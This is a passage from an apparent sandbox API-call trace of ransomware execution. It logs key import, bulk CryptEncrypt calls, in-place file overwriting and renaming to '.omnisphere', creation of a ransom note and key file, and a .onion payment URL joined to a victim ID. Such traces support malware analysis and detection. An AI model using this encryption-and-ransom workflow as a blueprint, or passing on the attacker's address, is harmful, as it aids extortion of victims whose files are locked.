dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.145] CryptDestroyKey (hKey=0x1639528) returned 1 [0127.145] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0127.145] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3d3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.145] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.146] GetProcessHeap () returned 0x1600000 [0127.146] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b8) returned 0x16f11d8 [0127.146] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ueEnk73BIU41LGf.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ueenk73biu41lgf.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ueEnk73BIU41LGf.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ueenk73biu41lgf.lnk.omnisphere")) returned 1 [0127.146] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ueEnk73BIU41LGf.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ueEnk73BIU41LGf.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ueEnk73BIU41LGf.lnk.omnisphere.id" [0127.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ueEnk73BIU41LGf.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ueenk73biu41lgf.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.148] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.149] CloseHandle (hObject=0x3c0) returned 1 [0127.149] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.149] CloseHandle (hObject=0x288) returned 1 [0127.149] SetEndOfFile (hFile=0x28c) returned 1 [0127.149] FlushFileBuffers (hFile=0x28c) returned 1 [0127.159] CloseHandle (hObject=0x28c) returned 1 [0127.159] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ueEnk73BIU41LGf.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.159] GetProcessHeap () returned 0x1600000 [0127.159] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f18b8 [0127.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.159] GetProcessHeap () returned 0x1600000 [0127.159] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5b18 [0127.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5b18, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.159] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.159] GetProcessHeap () returned 0x1600000 [0127.159] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8348 [0127.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8348, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.159] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.159] GetProcessHeap () returned 0x1600000 [0127.160] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d98f8 [0127.160] PathCombineW (in: pszDest=0x16d98f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.160] GetProcessHeap () returned 0x1600000 [0127.160] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e5af8 [0127.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.160] WriteFile (in: hFile=0x28c, lpBuffer=0x16e5af8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e5af8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.160] CloseHandle (hObject=0x28c) returned 1 [0127.160] GetProcessHeap () returned 0x1600000 [0127.160] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f18b8 | out: hHeap=0x1600000) returned 1 [0127.160] GetProcessHeap () returned 0x1600000 [0127.160] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e208 [0127.160] PathCombineW (in: pszDest=0x162e208, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.161] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.161] CloseHandle (hObject=0x28c) returned 1 [0127.161] GetProcessHeap () returned 0x1600000 [0127.161] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e208 | out: hHeap=0x1600000) returned 1 [0127.161] GetProcessHeap () returned 0x1600000 [0127.161] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.161] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x278c63a5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x278c63a5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cd8731b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0127.161] GetProcessHeap () returned 0x1600000 [0127.161] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.161] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.161] StrStrW (lpFirst=".omnisphere", lpSrch=".key") returned 0x0 [0127.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.161] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1440) returned 1 [0127.161] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x7c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.161] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.162] GetTickCount () returned 0x115fbb2 [0127.163] GetTickCount () returned 0x115fbb2 [0127.163] GetTickCount () returned 0x115fbb2 [0127.163] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0127.163] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.163] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.163] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.163] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x288 [0127.163] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x1480000 [0127.164] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0127.164] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.164] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 